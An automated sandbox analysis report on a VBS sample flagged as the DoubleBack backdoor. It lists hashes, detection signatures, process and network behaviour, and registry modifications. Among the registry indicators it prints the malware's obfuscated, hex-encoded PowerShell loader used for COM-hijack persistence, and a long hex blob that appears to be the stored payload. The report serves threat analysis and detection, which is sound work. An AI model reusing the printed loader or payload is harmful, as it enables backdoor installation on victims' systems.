Analysis
-
max time kernel
98s -
max time network
151s -
platform
windows10-2004_x64 -
resource
win10v2004-20220812-en -
resource tags
arch:x64arch:x86image:win10v2004-20220812-enlocale:en-usos:windows10-2004-x64system -
submitted
20-01-2023 13:17
Static task
static1
Behavioral task
behavioral1
Sample
rezidende.vbs
Resource
win10v2004-20220812-en
General
-
Target
rezidende.vbs
-
Size
1KB
-
MD5
a0b04a7f13d1e54a99b07d3f293c1ce5
-
SHA1
75555b065adf05b9364a04dd88a7b0d2e96c6a6c
-
SHA256
213aac6cd084401cdcaa0abc3d790009f08882e68228a314c511cf1d9ddc90e6
-
SHA512
b7f4934d480d6eb5762342a072be6d997eb4278f9c41fad1c609b473c37b8603557178fb3a2eada02f38356c37d6c80cf3e3b015a32d6f5932847652693a0293
Malware Config
Signatures
-
DoubleBack
DoubleBack is a modular backdoor first seen in December 2020.
-
DoubleBack x64 payload 4 IoCs
Processes:
resource yara_rule behavioral1/memory/2036-142-0x0000025BD33C0000-0x0000025BD33CB000-memory.dmp family_doubleback_x64 behavioral1/memory/2036-143-0x0000000180000000-0x000000018000F000-memory.dmp family_doubleback_x64 behavioral1/memory/216-145-0x0000000180000000-0x000000018000F000-memory.dmp family_doubleback_x64 behavioral1/memory/216-149-0x0000000180000000-0x000000018000F000-memory.dmp family_doubleback_x64 -
Process spawned unexpected child process 1 IoCs
This typically indicates the parent process was compromised via an exploit or macro.
Processes:
Powershell.exedescription pid pid_target process target process Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process 3552 928 Powershell.exe -
Blocklisted process makes network request 4 IoCs
Processes:
WScript.exemsiexec.exeflow pid process 3 4088 WScript.exe 19 216 msiexec.exe 25 216 msiexec.exe 26 216 msiexec.exe -
Suspicious use of SetThreadContext 1 IoCs
Processes:
powershell.exedescription pid process target process PID 2036 set thread context of 216 2036 powershell.exe msiexec.exe -
Modifies registry class 24 IoCs
Processes:
Powershell.exemsiexec.exedescription ioc process Key created \REGISTRY\MACHINE\software\classes\CLSID\{12101308-050E-0B0A-1011-00110D0C0E02}\TreatAs Powershell.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{12101308-050E-0B0A-1011-00110D0C0E02}\TreatAs Powershell.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{12101308-050E-0B0A-1011-00110D0C0E02}\TreatAs\ = "{01040E06-0702-1103-0C00-0905080F070E}" Powershell.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{01040E06-0702-1103-0C00-0905080F070E}\LocalServer\ = "cmd /c start /min powershell -c \"& {(-join('24696A79646D78733D2730373045273B285B546578742E456E636F64696E675D3A3A555446382E476574537472696E67282867702027686B6C6D3A5C736F6674776172655C636C61737365735C434C5349445C7B30313034304530362D303730322D313130332D304330302D3039303530383046303730457D5C50726F67494427292E24696A79646D787329297C2E28244572726F72416374696F6E507265666572656E63652E546F537472696E6728295B244D6178696D756D486973746F7279436F756E742D7368722831333834392D3133383339295D2B24505353657373696F6E436F6E66696775726174696F6E4E616D655B2828244D6178696D756D486973746F7279436F756E742D7368722831303039312D313030383229292B2831373035392D313730353729295D2B244F7574707574456E636F64696E672E456E636F64657246616C6C6261636B2E546F537472696E6728295B2828244D6178696D756D486973746F7279436F756E742D7368722831303039312D313030383229292B31295D29'-split'(..)'|?{$_}|%{[char][convert]::ToUInt32($_,16)}))|.($ErrorActionPreference.ToString()[$FormatEnumerationLimit]+$PSSessionConfigurationName[(($FormatEnumerationLimit-shl1)+(19817-19815))]+$OutputEncoding.EncoderFallback.ToString()[(($MaximumHistoryCount-shr(16254-16245))+1)])}\"" Powershell.exe Set value (data) \REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{01040E06-0702-1103-0C00-0905080F070E}\VersionIndependentProgID\070E = 076bf5ef31bce06d9ec046a89161aebaae5ae67252a6a9c2e64c90c35637a792b0f419c8519b6c934dcaf5aa6b04bd3be89d0e4ffe1dedc0d3738264730217455d10f06dbd20d5472a2b7ae0101af4c6f3eb35d9738e89a2914a0d6edde1cecbd02b9402691bce1ab3b175c85d56955475f1e9f5e5cdbac47b51b0f10fceac9fd6e437817e97b8748b3a2bc0069f5aeb9c168701b80a48be58e4d0a217adf3f9aad71f21f40ed66a51a05da8a2d0877f9a4eea00e8d6855dc021f12b17007da764341899d49363cd46fed3746e1ed35e5fa4d401aa739d41ea1ff6c8e23ab8cf9b3d7619acd96ae9ae4a16c58d16de7141dd1fea2eb42239df0ae72d76896d88becf545bfa0715d478f401536e8ebc5a059a21b7c1329038ed4b5d3db929ec943b54eb5b4836b02b99753721c277cc721a99f930189556b22cd62eeadf918c4eb50c650788bf3465c8060e86447f82695cbf5456bfcc0dd9f492ed27a1c4139b929f4dd1c9b25a88ba475265e338abfdb6ceef9f1ed581fce3bb94e6e3bf81ff00b0e6463c82a834f07e3721d49671505f056bb6adf0308aaa10659ff9182224efb0bc22a87ea49ecca05a653761a672eca65bde60c952608f0cc7731905cbcc4725458fe4a033edc727e8a5d84aca365be31243afb03870f0799988a8eff3c48c27d24635a60b1f539d692cb7abb15a1833086aa0721625f70c744ae0187bcec00b03532df9fd0ef9c72aff194123d54e6a9447243db95e04d3584cb7553b5274ea760067e04a4b42ee5e6f8a13c04ddd5055b7a19d7acbd7713b8dedeb3f80ce45f6053ac8718197ee8d971ab2a1a45fb0f3ba9c5f69a3138ad32777273ecf1a1febdcb0df54603efa7359164d96dc12c72ab9da74ad1f1193a1458a12689ffd73d3eccdfe32ab3732c75c6204babcaaf076f6686154d057fb5aef001687ec3aa1e97d89415db6285d9e84d3115059064c834938d006adca764cf925eb6263750378a3e225a7589fbcde48e7d1ddc6d00cbef6a7e7714a70b0899859fff37d50714d05b9abbd4faa85d3a40eeaadc624af940803ba22ae5598090e1caf5a66b0b46270fdf3366de31922ee6e7bc92820798ee38579564ad2acfac1f95f0a107abc9e5e810b35f7252b4e000d0b15e7e22a0b18eab9b3f77721845abe3c8a35fa8c1146c5a26a11130986f5aba28cd0e7acb37028e6ca3a7b870f62ec6dab92bd949ecbe441927ee3888311a5fe4f6e1b2eb8970a50ab736acc2cdc2caecf0f33e220f1fa6b844ef3bbe3f003d947d3865c1ced509b9ccde0cc2dae9700a1d5893bd010ca20dc00993cdb316594149426cff50d3c5d6e3c024c23d80068e772efe2acceff996f2864978f3667bef7c55e55d12d723a921bc7f46dc9d6d71af701f63ab58e020f0cea2fde07eff3ebc058a6bbea18b730158b0e901ffc0000d740e3cf9fa8b2265daca14e5d1e48deed6a51bf1734eaf81e6e82a3272407f332483bc7b74ebb0efd1dc04bf5ccf0bc6cbb670515fe046bc6f423c873e12225724567eae623aefad5518e1425ce961eb1ce0eee16765096f079d8c5bf0339950b87732fb552827dcf979e20cd526ebacfc4657631fab5c35650b23b87d3a80108d6c3e715d40963c568149235e875e8f5f5aa3bf5c20fccde8e21509ad9c5cdccdb3ed6d20e78611fada313ac85bc4a8dd90ec70611f2cb5e233e2f6126eb5a304b909f291c59de76e7308397686baff4159db58f231bd39c166351fb3f3e6ad72e79207bd16e72eaedcbf6d298fac1b5ed4fd3920bead95da9b5f63f96f43b5fa8c1bd02514d70bf05726975187785eba3f2de5bbc28413a2c259d1d4cacbf9613168895941f2f6cb79bce02beb3e709a448a9455b39040a4afdaad9adc5a9dd58c97b22de65e592909ac0f6a551ac23fff0f0596be1d0f959065cf2422eae8e53a45d693d34e1ee0449e8d5ae018cc0294c7b18e7b6a304cf517f626af7e3828f8caf58cc23a9104016465c7906f025127d572e56bc00109ddfac8c0cd58863eec1906b5b30d52c2e2f34c093687d7b80dd7899c817120f00ca6e8dedd2802a9cdae014cc814783bb893fee42405898e67d6bdf74b7e7a1a30685d0cfb89afc0a841eba2369e907d10b277d0a38dbf4eb864d7649174d5c35f3085c7eb1aa6a7789d6bb61cfa1cd0ca986032fc797e6d5416f82d90b4aa63aec172d19c99c4e62656ad317538c3f7895008f8186589e14c445ff7fae3703a37f1db0729b582a18b7af67a14d0f827dff6953792ca95b2c7ad90db8120b68c2a25d6350f8e33cf023cd77d98c091dea74d1d1fe5be285c58e2772bc5544c5414ca447a523ed59e8e278d01176954163dd293ed0ae2178308ed797140653bc82c8b8bad22263990dfc8a4741d3ff378cfc6aea0a2871aacd2727c63120dc34cd624ff8128392a329564753a54952f279643364760187d23c2f8052952e646c822ed7e638be2e66c0f538bceab836d211d37e3cd30eb04d5dae0ede13d9f76812dd1be8c6bcc5d85f4f1f0ddf453ee0a5bb396e6333f24cd65398731ef1163d80eb20c1e54633880237d91d91c2669253e27a7c627a823a37ebdc99ed37222e9d489ca0db87f24e8b2d464968f074ea455bceea74a8f6c19526a1222eadd105773807c68d515f9ae73bf56f7e1370529db62e642a302de069957b8d551a8215fcdfc50b904303c4ff3ee46ac35418b1b56112f32bfe09902ffa6b24ced7a3fd5266d38a2a41dba326ca32c1fe3faa522075d08a215b9fb51b89e26b81183cfb419263e3becb4d6f437a4128c23035c636ae481d535ad1b2346162fd3c94bc31a6bc55cd3feeb397ca2dffb164d4443279bffb373e23808cd4ca3a79d31297f8ba363542e6ce813b847a23e8d7c98075188ac199ec82c7feae1900f68e7058cca71d0cbdf99c0dfdfc66e917056906d0d3d95c59e757edcbe2ee9780edee2aed6ae661aec1080c400aa8482e49e92ff48b6e6e45410a669ae5cf5b3ad7afa57c06f531a29bf8f91378958a94b322b17904aa4db60f4eed44e437104abd5f84bdc29e23ae77e4bf8d9e89cc4120f483c7e5c42f957080035a3a608db2f1748ad1fdab411600b3c21a77344eb11d24b90b3d1524999a70a21deb30459c9223b2e603aa2db7c6682101c0467a556138528d6c67e583f7b1db9c3715bd66558a4b67efa6018e11225490046aee95138d8cd138d9fabbd7b2f256c242aecbd64e014bcd2ad30e6b2ac85f218d86a6e91d3e6c4e20a0339e8477e83598945422558b94cda4c57e92394deae90327eb5a8e78539f2377f6e851389a9cf5bb5387482fe9f853e5696d25dedce7f693521795114fd89fa46674f5ec761c87eac1949f7031edba21dbaf3c741353de8111540abde78a280eadc42876b9b3f2c3786235b170fc6a420120b448aa0e8993bd6628ea520fd092b56b42ee9a574b0e3e614816caaf3a54188345e9965cef380ca342927dd6061fa676074f6b3a8356a2c15ee10a48890843f64dbff9bf14570fb66d9d2afb0e0d0d27cbf1f79a2f5d78d605ad70e3b102d294a78ffad0550e7bee26b5ebbb3ee298f749be67a6c54996b07420852933733a7ab9ca644346d6ba3a32f38549a6ff4998c4b2d8559d5bff6c1702e88ef0c93335f03caa32197f266a45cbe29673bb3f2060a5c461473def997109069a28772efb7daa2361199fb6e40a1fafc1a2e414cd438202b6d396f70e4b8b36f56d0ac323007fa13bd75918537e927a4f698597f0421d4318603bc8dfa8b7090790766c1daf3a7a1d51cbc34b7620b22d5d5b35e1f83402b2aeb08d044cac682104eb6846993b08d33199e42216cdbdae08be422dc117de249da4b385c7ff87b1d0c32e56ce725f85c9d94a640f9bce02b29453f9c07dd4ad3c9c4387b14da0df747a55426580cb28690f6777809002bda37f722109d5fb0aaabd0f61f019bae7d12855dd948c01f650918db6bede4608283511ce7758c7785bb608ce4840e726292c22394e7cc2d81d564b0c2e0dad199ea0bccc4edb5fc6aab589d68b42719bba1849977878a792f61233408fb2c5798cadbc641a2e2b6ba4ffd34fc3248c1e37d0ebeeea36a11ccb5988b80f80a86c31b93fc88d3ee62b84b6326c51d3c92690b92487b36ce5f112e10a09f8786ec3d79ad22e6ce076644507b626434bfcc083fe829fda5e1df302325d2ff14cf42c5913b952f003909b272b178b8f8a610662cf8780dbad937272def2cec705dc074448a875d03f23da4d30f8d58a2106db4825a1cdae368c0bbb6c8fb4407c4d144abb011ba5efe1c40c17bcac273ff4b2d450299dffd16c3ad62b321603c669572486957faf9f01e9dbb432b249a4d05082ac238d3bc0d34b088722420b32d6c7883b02f6db8a9c35c984df1486fdfe8533e19a3e29387040112cbca55e82f4619c2fa1ce10b461eb24f7bb2fa35061d1c27518c8d7fb95d607f9fa410e09d5894f66bff6075a3fb8c5f0fd4ae04743c06eaf25064b29b8c7cf1836f511cbafadb66e0917612a986e1504a8cd34cc4f8cebcbfb35a5404dd00f697bd4b936781188e801efa7e390f4cd16ec510430178541b661e6c693641fb3a6172fa8473404a6e82d1571a9393de24e70c6be7654d1d76244955eafe7c4a44fa306008049f2474ed4e5f87f0166c3549abf22186421a55ada3385de97a2b6a032f4a01819dea5437ba75bbf485726d1c2030f256e28ac4c5f5c21e16cbf1f6f2a0f9966d3102b85a8a26e43547f83bc005138af88087d774ce558bffa7e1495c4ee6ec2a8d4515257b5c976197ba126079f80bc49c610c697161aebb02b710a421edf604c0c7265fe0694f5c72db83dcb0e6b5747090ffbf95dcffcd9adb63ea3c3c68c1f283b2e64ef20dbc4d7bd069239a77c48795da21ce776cca159bf96d1b42f16e40cd3b508ddc0693bbc93ebe01023b71bbe27ec3f1dfefbb79cdd135532bc0722cb1914029c4fe7d6e092c16395ad01d08e392da5bf2d9168ca8a31a51bece880b9f8c035eef7533c68012c277f09ecea89281a0bbeadd8917436f95fdd4a32f5ce526748364e236e7cc23b7d6d652393a361113f18a93277156246a6c218a94ba76eb35dd15bff34faaae5298d12bf123c4ab5cc114dbac5e26133bca267ff1f028c06619a9e55efaf480f67cd08dfdf32e47abdffb460560033cd85178913d650cdfac46838a05d4c5580b1b6458270c6e5e89b51b42f54ae2bd96e1f95da1c76ba88eaf8f03ae8ecb854cea298220977deb0049870229eb29be87a35cc49fd3d7662ecb35585368d88a360f4b282326e8816d3e69541c28ba94cdd1f28aa642b0e3e1f32bb978718e994f763823ba8752a9c7cee0bba2557664d2f56f30bb59f88e9b71bf81410eb85bc2682c632876eca947558ead2fc19fdfc0724a82545bb3a67a49d1df91a59918b693c84cd83c5d51db964da68a891d1b47cb65b713254cde7470e4e652bd7dd1aaa9d9328c425ef1f853d3a235154c80425532ad7b6b45bfba50de77197b9447ae5d6e4e53d3edc38a92e9162613ed6c0debf34112d676f148059161b4be5be5c5e740cb4ff8833f12911c786b339c61cc98664ebe98ad01c77dd57e0e9e769548c287eb5751f2a193b3f3c4ad7feadc2002ce1600d8fb77dd1e08ceab1f8b4116ac513d85ebeafcf64529b0b4e8a4199c04bb6a04c112b280bd5a2515ba4f92c7fc491f687a9b67d76746aa58e111218b9e4c93a2247f4f686fbb04757461168912c1cc585ef9e97db9e221517d5d1dde8e8d97a4148cdce62da18b33a1429562223f4af3efe3114e658568f1d6d2bb523d363dc882b4a7a15811efcc3b2a1b0990f6c383427baf720a8be28e353521864981499ec5fe25744df91659da58883c34ab61031adc99640ce22ce088f913994e605331cdc958e38b03536b97d1eeafc46fed618cf3b036f252f6ee0174f0312c517e3f0b72b0d690ad0c680c37f8cf335b378c307ba17a89cb2581dde29e282eed7a2f0ffb457b31b2c689b7a90fe200e74c087c8c9bcfac090ee445f7a6872ff8eaaf49d5fea71907b86408a38c38ff14add8fc4010f47ea3e7ae54c8fc891ccc74b0787ee83c69c7b0c6d3beda88cfa1b268432514bb32816e643fe06448371fa741f8ac51d8692fa52bbabae0560d95e160c53d56f4f3550d763a621ff279cd4a24f6986988cd6822c9cb02e3128c93207b1c970c06313ccc903aa2c874c6747bf17173148749fdd0329dfc59b18ad893ba68bb2b488a44ca10c6dbe78f141957e5c86c6becf4bc57193d1d5ac769613f889bb84720a8b63fe35cff9656603a739ead018d73631ae6234010a3b58eddd42cbc18c211f528e8150ec130f4044f743ae130762f677f957208078931cdc1d2c5894e9ff6780a3124b9e6f4490c39557122330519feeaa2a49d6c109ca272fbb3a0ac7515fb3331daf2be36a9859144a1abcc2a6cd5f92d221b138a981acdffc1a86bb1d2ec0c765d139629520249e8934ff77af37c229ae730d919a0efa6c51f7d77f962b0a2c9eb8167d58306a037b15c2df6e232592e2f339732e5af49fe51bb246283866cfe3561f4b4750d28b3b4370b351a5cc5f735e000477dc02c3167ecce990533d82556ffd8c5fd8c7d68679f703445e4b7b682ae229cc976d158f9680e27f091e248a7d2419088e7fb54cc2e9faab91b7550dc3c339eaa071f873b4e9cc9055553cf1def99cfed757a9128f5d2685d2b92128ee74d0087b043a015cf0f47caa60118b75146766ab6bec0dbf04b97e16da130cd8a12fb2b0680a93893819a65c1931059639a254dbe4bb6fd36251db34ef502d753413ff515e8e3e9cea014159ed371d61cfac6f512a05e6c0e0d1144bbdeeb320e87294dfc644f9656a520a836d50e1a7c528c2688dfcc179a3df87140906258e4df234deb4a33045f3837c93ed54c3ea7fd182a10f9d02a7971710fd9f4b0afcd446c10eafbfb20857d3eaabb38c5aa5a448cacf86cd3a160514d13c1f7082cf25e788e4e4b95c8fe3b5085334f92692edc3144a41eaffdd02705075d3329d7225573fb07ff147897fc9e01ed1e054ae704bf18fb47c2e18e07bd69cbf79b5a37e67c1d781b4bf23c75f58f96c3085c4260e82c1dc3b2347074ce6dc8ee5a110cfb413e33bedf9d2627cba585042c6d59546bda0d6fed0c802e57f35d068396241ee4dfddce8222ffeaab7c653f659d14425fea5bf1ff0b89afd2717583ca7f4fd6e534db36cb1312039bfabaa87a128d88ab6dc7dc419f906c2106a00ac2ed67b724e8748d7ed8884a042dfb71b11889f42f98bc2e65739009ebc22b02dc5fddffe0d092424862b0ccb47a72a911208850d5b8a40ce9bc6825164cf5c9a5ebd690111e85ef74acbff8343e6f3f682b076027cd0760202700839f25057673675e92175022462238b55d173afeb052aa70c6ccaaed9fe252f6443051b3017adda6a72cfb99a074c264fe3b1a298d2b309b877ad987a89df777106bb2c090e3245340e90e44fcdd47550002a8220e92b89a6e8219c3f257049950862621f95c8cc64a56c113ad9b3cba1d5ad2630ed9be7edf36cb55bca7839782829d45e12655031719cb4faf226c9ec556f2578027cbd5f2002e3f5fc047ef0183272d5a012a50d9bbe66675b4d260b50315695244a6594f577c86348b36260910fc8a37bdbffcb7e3f5109a055bf1eda686d59e7556e36bae3032f0398eeb159a157a911f97ddec14f494ea6463b34693d7200bf8f68c5f68e11a9c8b4376eac20ea4edd38a179062cfb66fee1d277929cee4a73d570a0b48ecbe5040fdd6ccce8cb5cb883a03fa72cfe09f9c225d498d6ce25ced1a677d304cdfed374995cb8d2e4d4bedb413f09c6680e60d22f3030f5fee59530ef9543e80d282e2c595486203ffe955d7e0d821275b90013a77ec8986b0829a5af86324575467f1df08e17ab5c167364ddb9c0445adbd7cf1b37f7d61f269b5ad91affbf5b908678a8f164479772c8071242193dac3bd6f0f26f993a5019f1fd417f81865fb9448cd5c85b4641717577113a5839dcf67c6d64920e6cdba2eaca7723d03507e66966cddae3ac8ef465a0cd3ff11b39e010be6104823eaed410a47c07143962bf13e04f7c39b6b039c886c057e562a35ce15e3c7c526564758220dbad5668fb409c119a00cf346beba9b6023b509d09f24cd609181003d50931f0328218658469ed4f72a5010e00f5271af902dcebfaa6036925fc1b95492697a6b0efdef6e63d41a09fe4fb51ee52eba94a6b31a18f5a9f8859f83b2c7e91ca6ad32aa86a1cf749f61875cc82bd28c71d63d82f3d685748e9f3a414e50c48353c3c7b6a9dda6297378a2ef78f8130fb8bb3d6cd46a10e327f082da2a6e663bc7ccd740b74e4f595e2b31d6b7520a4c742b1729d5483ed08f59c7115c44a6a26c2b733500e75068a3b012de978db621a11be4de44351606b58187afccca2ec0facef77431eba0a97f49dbb0fa9ca3ef8dacb4e53644e5baa61fa5732f5fc5352063d866cc4ad5d15fa4634d39f83df2a33203d2b559b68317109fdbbb76f5c7e61b4df98d26d6524d32c237c0c3b64a98519f1dc5f54e243cc3ee8504540acb076ba2c55ebf8392f887af7f9657b2a01e9d6c159514fadfab5763542422a5b28887eed61db54f2d1fb1154d356eaa8d9646e18da30d6fb1a93e449c9d0eaa227186059a13d878ab162ca58453f2eba9d9635dcd9b272748b2952886d76c05638fb97ce20bf0eb1c75b9b116971b8edf04d9dca1fee2c2f48330576f08bc212aa7067e7ca6f68c617db655b1198a5f42b2fb9bb94df603df2f7c1d4ab13cfa09f6962adaddcd3c469683406741fb05c7f7180581e9ea368791bd54d860fb23de9a840620f3d4090ae6cbb68f5176fd3e9a2f3c58874624f9ecd821bbe349c7cb3fe0e891e6c2a8feffc60d82458ffc04b63aa6b4a361c40a47fc168665d442f4379e8e5a278a149e975023287a3a7d14e2c35070895e7bc08f90a5e911bf29440854ab5277a528f0e109fc2f855d1e020c8f6ce4873209eb0e0a2af196bc87b60e80c699376017288d1cb590b1546aaee6d712f3877906425fc71ab324d47ba66845df3b471240bb795a331ed3bc478243dcb05b6eac9dfaff488dc704bd8b7d784cc15ea624b4a25ac8df425ba77dbe52db575bfaa55bec2f3d4823d58e45d0869fb5d8c63061f092ce2c04d38ff66357265018064b9fe3f2443ae53980e65432ecae8020024def9760d628c0ad09f59ba8d3ced08ca45289bc6761881026353c69484c31d3242418350381cc7a8873e24678ce4fe80f2ffbe4e2026ab39376ea95230fbc8ec92d296ea3a2d00292376aaf141eb4d4977cca2d924ef139b67c87ccf2f3055f9d3488bc6fe9d28fc4658c3fbd5b89808dd9eb8e5f726cffd9848fa18e31e1c8b596b63b39cb6605aab5e39889402f7206f6c24a28657591eedd69e725bd52df4670a7b3b68115a5e2000d2b58af8bfa2c9714acb4e698ff6548843b4dd7ee2538c67a8bf4b58beaebf1f575481f61895dabcd84049f925c166775d4243a6a0ed7f8d1c7899f40c4938f1bd79b2be5a90077121b321a147bf4f70a05b6bdd8bc768fcdd064940abfed7e16326b61d047b82b287c5e2ff43ae06986caea23f0ef7669bb484312126fd25244bceca1aedb9f27df9c9d297802fb4adcf066cfb1f3e60d6cbe3a41976f33913033c1a473d0298fff9874cac41648c9f32ec3b84135c1389e04b23281121dfef1770453c76f82cb02ae5c10ea22f7bc418197d796e158e735132d7a31872f4a3d3abe9e788be15e0f607f873350e04e31fdf679b39d7a9bb32ea242c9d7c490bf21ee5c41c2d2b92bbf23cbfc5d248dcf85fd09808cbb3c53c974d3776963a4d60890e1d9805562b0f6451fc80f2893cfe6036cad01c59f57f039ac76d1aef5bd0e6bce756fc27dde18a93700a184f1695bffbf340a01c5f3a19c346c04f7929f9f6cc43d676ea9b24b01ba5e4fab5825f679b5fa402ad8de11f4aa700f6c05f8226fc91e11e190742471c2343557b71cca91cd27ff4fb21914c7f32a9fbdcbe58355bae62012c053f3de07e226bdf62fa75a6234781ef77a07c5bc90c4b5b57dcbc6ce2fe8b4fab2bfa87d901b87faafc3f3f730b42d2e187fa696b6ac2d88ce7ca35d433d717331666aa5ce7a1539ce39b864dd839d0dec7f0350c115fdd2233c353eff63d5fa77abaf2a5862955038ad92f9c8473ec573c9445b0cac3bdbed06ec6bf9370715608402bd10cf2d47d876712e18076f67ce0e338e71612131a44bf8b3acad9ecd6e4ea8d63a7295f3ff307ea5d44017e291c3ed15e4a1be3b7b9e1f2654a75470e6e9823b54856906c6b71b45e7bf3a1287c802a1dbfaa2eff595b38d943d85cdcc5f19510469ebfd671d51250c715636dd833c02bbd0ef3540bdeaac283eb2079a90348f8b3c3b43fdfd03292d08bd9180134cdd20daffdd95a7c49f960fdd6593b4ba6741b4bde774def9dac18e7f9def7c50fa2f83e81e570ccbf534759083b145bea632e80c712c34a4b25509c05ee61b800282056f293b89852ad82f6d588ef7e8174133da0db165175d8ec39b3b09b59dec9a7f2abf554aadae2fa21ea71b2113bebf8f5a16f63d4e15196cf748832d608024fa14f5a442e727bea1f78cc74a6a9bfa8ff1ef3a1d757799b9865e3930471a687d4d0e96e9ad4f387bb3efce132932dad3f6cfc442e6d05de13008e7ff3430f81ceee031a68a3931347f81c1d17bac681671b0eef2c3de065286c2b30a9f36c2452064226ff16fe155ffc03fdd5c22ca3908d410aadacbf7e40d3fc2292e84e45816fbf7f0964996e49d6df9b876bc84a3648115611c2230dd74bf41becd589f1625ddc3811cc4c131a3b7563ed8d13bccf06e9ff35d90f48f38816cf4441c0f63cd69b8b43cc99686664dfe8343f5d626478f92f8568d4f9728b6cb99f3ba39982236fea7ea9a69226f8eeb57877189c5be4eec1486fe8538e6230bc04376e1575b6699c3d40443ef834733d25da9a0599ae6c064255e2076d3fa33e86de95d32d3953860d049ca9043564f8d752c42fe95c7da5184652ea24e2cdae68e6f2ff8524ca15f5a8a896735ff27ba27e130a082da02e739849fab24a4b7c5fab3869f2c51ced81bf574d0eda952ae75257e6ab62c80c40d45dba2a469f06e9660356ac6470eeb3cc702c5644aefe98d081f967f17f5b34884d336635f4290dab3addf803666bebb59969f87cb6b92d93b0b255ac6f89164c36de170c12b5b3ed646c16c074954c4e03b5bbcc8b96fc618eb0f9f4c74acb4b08473aa4800be3de17c011de0b2b86993e07a9328f26f0296b76cdbb1486644deb4bc63577569a9db290ca454fa2d8a70b06ebaa9f0422ed53fac7a4d290fe4be12b4d3041b592d5a8b042d1ab9acb86c37d16ecfa2b968e17980978fecbe5ff7aac0783e8843f4243650a0160931c4c359f0431c77f339aced6cae3de80264e0eb479f134037b29dcb0f5d3f78432c5bebfd4a6f51c1a67ff09466e00cf88af4d1a6ec76134d25b9bab66d8abfb7f7177369144904c7c76f0a63e22db5689885f581cf097d09e1b27fc5dced9d8d6beefe36aa19798078371fcc18aa47402060c4a752f3c6bc8d14b6fd5540467f3eb00231c5275c3434b5da8288d9fe1f6453903e154f1a952d82e99d63129721d14a2e58c7da8e861cffa0fe6e799ce0cac68a6d38fa93ca25610967e15e701f0b2ed846969ef9951ff7d3246d56a033c3f34878b37dd9ae44034cee7a67f03f26910e6406f4d2862735b5b1f4713da46c8e8c04c492c7c2a629934cecb8974affb115fa8cb7564318ee693c102284f123369d7f69e42973a8eef4a6e481147a31f07d59fd7d0f8afe7467088428bb882b061ecb98f83fbfc3c820b1d70d47b9cfd1a6027c63cd5176d61f44e10788984a44254f65641a87920932d21c0bc2d0254c5e504056268acc96040f6c77c072e5bdc002c6d08088e92788881a21d562e13282be9d035442695d75d0e673aec938aa55e6cc3f2fea7eb340d9e4487a2fdd7740baa03cafbecc74a22fcdd4996c250967723573c6b13019bc0c52d1d0366638766abc77d15cfe65b965b5749a985f986834d15b55639fa1ee29c794156280f17a8066ef02ccd7d6c09de72d11e3cbb7da147f1583e2e4160b63d0038c1a8b1b1b8c8810e6c10f486b2f635158520315b0c3e67705cb5d4ad49e1b0c15645405ae40ab07d6089424e4d37ca8553aad219cedfae2efce98ae5568b481ab5994ba1ae2cacd451702b94cca9e94776e3c0ea9f1de6f6e6a446e184dadb7c1cb9737847e10e3d41ff2f99bb0c6be765bdc691513f1b89b310ee449610fa3c346d6d77836d02552a68de7c2ba63bcbb9d2f668307e615460586903a368914e3688d5d0f46fb3c3104f32d0d9c8310ea9011bb27ce8a46a9bbab25d1ecf8f61ee35bf1973f975c04db62878a2141ebf7c791e862d1b12d11772249ce77954e4034f8c135fa990aa2a4ea5ef2f46bf5b68ae06ed121206f7f2ebcb5d632992228617cb7d4087e0eacf6188f97887be1f4f56340b715381809da02de7534bd2c6bc7a169d457e83e2a229867a824fdc4d3b438161a5483f7068b039e9d8024f840437384362b262b6dd983a4c543454172c97afb2a5d74737d49a44abdb600f2bed470686106995a22896dc411cd68518036618a4d8d770480c97a4e2a296c84eaaeaf02b025a24e367bacd6e3fff249062959a3106859383ccb3f6b502bec1235c629331ad80eb35fe2d28fe5dbfec07d4cb2cb2d7545f0d627fd76327c1e7d526c6d6a5bb8041b8a682d7c279ca27e2cf628d277e17f193e19ce42cd2bd29b3ddca1f501a05bcfdcbfc3c876548017188355a78de6b58a9828cc701a15c0b1d0bbb0cdbaa671f7cee232b64dda65c1bc8bf317cee04417b000a06d59174b41cbdda9ab56fa707e87c0d14918e572e0a0b49211e5e711a748bd09036ee729dee5dd2f7327d34b6280d235b4e3a4a8fd804e07cd2324fad450b224086c52ce82d3a72178fce6d0dfb9e88832434db383cf7f35042e22c9fbef54bc11c01527c446eba5e1f7f77240802e606a20794ddda4e0842d07acf9a48695ef2584d8fa9ed3b1f3d374f7feeb87a5e39786d19ef703dd3425571130dc7c92000f85832869e2bd0dabf02c145d71ae922e5402b166d3af53359cd0b84dc57b57f23a2abddc549bfd93db30d1801cc5b8a4fa74103fd1fa9c7d6e972dae36e3c27cb49298cc4369f4f4693d5b128bc0a2271c63ac959d4e8b8613cdaa0213474ad6d5f86141e4fa1a4a76d3791838132bbf5d1b02041bf5afa9c7bde9ca58c560ba987d49c5aa911d755737601aac1dc02d6c3ac3bdd9be1fa607bc70d8ac724b5a0f4b317c51c22c61782b7c56e2333feab7af00529d38414709a96e0b6a2d2879911df213164e28521b5222d9d965d794035d7f823f5f3b7ba98ce2dc6c580a8d6ac7e165e7ac57cb96cf4419492eb7600b3e1332a7602a8412b3f5d25bfef9deb6eb611da638b10a3d5bc29a26bc4716c5069d30426fa356676eddded2cca8be5bdd9bbcf22fa379829d9fef30c804fbea7b2645c66c5db5d5aaf5198c59039f00b5ac1573083d62e7678b855e0b19248bf5039a44beb09685d05cb0321a83cc8eec2a25bae32192a4270929a6da01fdab20020fc5e6a7996ac695ab922cb34b844d7008f8af6c94724cae76febadc5aa7a5c0a3c1b1732e6082d83bb7075e5e2c72d4d01f1b68596e991e5c00bf37177d1c31aedc6ab558dc7e6635bc3061c7eca91e64d56bf8f10edcd4ba3a1552fb4d71165e48147161a232cd86ebab4b7dc7d8f3777e9380cde9e970afb2bba9fedde4e4d15530532c0ea1efb9512e36b7f1ccef45cb707d367a3c432c231e2e04f51b1945c241541b7ecafeb911794e3ece3e683c05bcc9ab94a3d05e3bfd44311855533183344ab4fe37565a4c4ffcedd4626021898fec7c7fe6faec07a9a85980ceebf641367fcc26eb1b891ed0cbd4306bd093088e98460a6e226ed0bfe80c6a7c0e14f82335a1463e4dc1694b00cd542f1133ca28bf6b4adbf6545c5b60ffd7ae850827b4022d82164925fbcd1369b0600fa94e449632ca23a6b454a9655fa9ba9ccc3d44c571ba1382e